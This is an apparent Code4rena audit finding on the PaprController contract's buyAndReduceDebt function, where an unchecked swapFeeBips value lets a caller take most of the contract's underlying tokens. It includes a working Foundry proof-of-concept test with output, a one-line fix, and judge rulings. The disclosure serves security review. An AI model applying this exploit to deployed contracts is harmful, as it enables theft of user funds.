Attacker can empty the underlying tokens from the PaprController.

[code423n4]

Lines of code

https://github.com/with-backed/papr/blob/9528f2711ff0c1522076b9f93fba13f88d5bd5e6/src/PaprController.sol#L226

Vulnerability details

The bug exists in the buyAndReduceDebt function.

function buyAndReduceDebt(address account, ERC721 collateralAsset, IPaprController.SwapParams calldata params)
        external
        override
        returns (uint256)
    {
        bool hasFee = params.swapFeeBips != 0;

        (uint256 amountOut, uint256 amountIn) = UniswapHelpers.swap(
            pool,
            account,
            token0IsUnderlying,
            params.amount,
            params.minOut,
            params.sqrtPriceLimitX96,
            abi.encode(msg.sender)
        );

        if (hasFee) {
            underlying.transfer(params.swapFeeTo, amountIn * params.swapFeeBips / BIPS_ONE);
        }

        _reduceDebt({account: account, asset: collateralAsset, burnFrom: msg.sender, amount: amountOut});

        return amountOut;
    }

The expected value params.swapFeeBips should be ≤ BIPS_ONE.

Here the params.swapFeeBips value is not checked to be less than or equal to BIPS_ONE . An attacker can set the value of params.swapFeeBips to be very high and params.swapFeeTo to be their own address. It is possible to set these values such that the attacker transfers nearly all the underlying tokens to themselves in a transaction.

POC

A quick POC in foundry :

• Change the original BuyAndReduceDebt.t.sol to the code below.
• forge test --match-contract BuyAndReduceDebt -vvv

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.17;

import {TickMath} from "fullrange/libraries/TickMath.sol";

import {BasePaprControllerTest} from "./BasePaprController.ft.sol";
import {IPaprController} from "../../src/interfaces/IPaprController.sol";
import {PaprController} from "../../src/PaprController.sol";
import {UniswapHelpers} from "../../src/libraries/UniswapHelpers.sol";
import "../../src/ReservoirOracleUnderwriter.sol";

contract BuyAndReduceDebt is BasePaprControllerTest {
    function testSteal() public {
        //assume that any point in time the balance of controller is 4000e18 underlying tokens.
        underlying.mint(address(controller), 4000e18 );
        
        vm.startPrank(borrower);
        nft.approve(address(controller), collateralId);
        IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1);
        c[0] = collateral;
        controller.addCollateral(c);
        IPaprController.SwapParams memory swapParams = IPaprController.SwapParams({
            amount: debt,
            minOut: 982507,
            sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: true}),
            swapFeeTo: address(0),
            swapFeeBips: 0
        });
        uint256 underlyingOut = controller.increaseDebtAndSell(borrower, collateral.addr, swapParams, oracleInfo);
        underlying.approve(address(controller), underlyingOut);
        uint160 priceLimit = _maxSqrtPriceLimit({sellingPAPR: false});
        uint256 out = quoter.quoteExactInputSingle({
            tokenIn: address(underlying),
            tokenOut: address(controller.papr()),
            fee: 10000,
            amountIn: underlyingOut,
            sqrtPriceLimitX96: priceLimit
        });
        swapParams = IPaprController.SwapParams({
            amount: underlyingOut,
            minOut: out - 1000,
            sqrtPriceLimitX96: priceLimit,
            swapFeeTo: address(borrower),
            swapFeeBips: 40e18
        });
        controller.buyAndReduceDebt(borrower, collateral.addr, swapParams);
        uint256 max_debt = controller.maxDebt(controller.underwritePriceForCollateral(nft, ReservoirOracleUnderwriter.PriceKind.LOWER, oracleInfo));
        emit log_named_decimal_uint("Max borrow power of borrower/attacker",max_debt,18);
        emit log_named_decimal_uint( "Underlying balance of borrower/attacker" , underlying.balanceOf(borrower), 18);
        emit log_named_decimal_uint( "PAPR balance of borrower/attacker" , controller.papr().balanceOf(borrower), 18);
    }
}

Output:

[PASS] testSteal() (gas: 521323)
Logs:
  Max borrow power of borrower/attacker: 1.500000000000000000
  Underlying balance of borrower/attacker: 3930.028000000000000000
  PAPR balance of borrower/attacker: 0.000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 1.74s

Impact

The attacker was able to steal almost all the underlying tokens from the contract.

Recommendations

Add a check in buyAndReduceDebt function:

require(params.swapFeeBips <= BIPS_ONE);

[c4-judge]

trust1995 marked the issue as duplicate of #20

[c4-judge]

trust1995 marked the issue as partial-50

[trust1995]

50% for not identifying there should not be underlying value in the contract.

[c4-judge]

trust1995 changed the severity to 2 (Med Risk)

[C4-Staff]

JeeberC4 marked the issue as duplicate of #196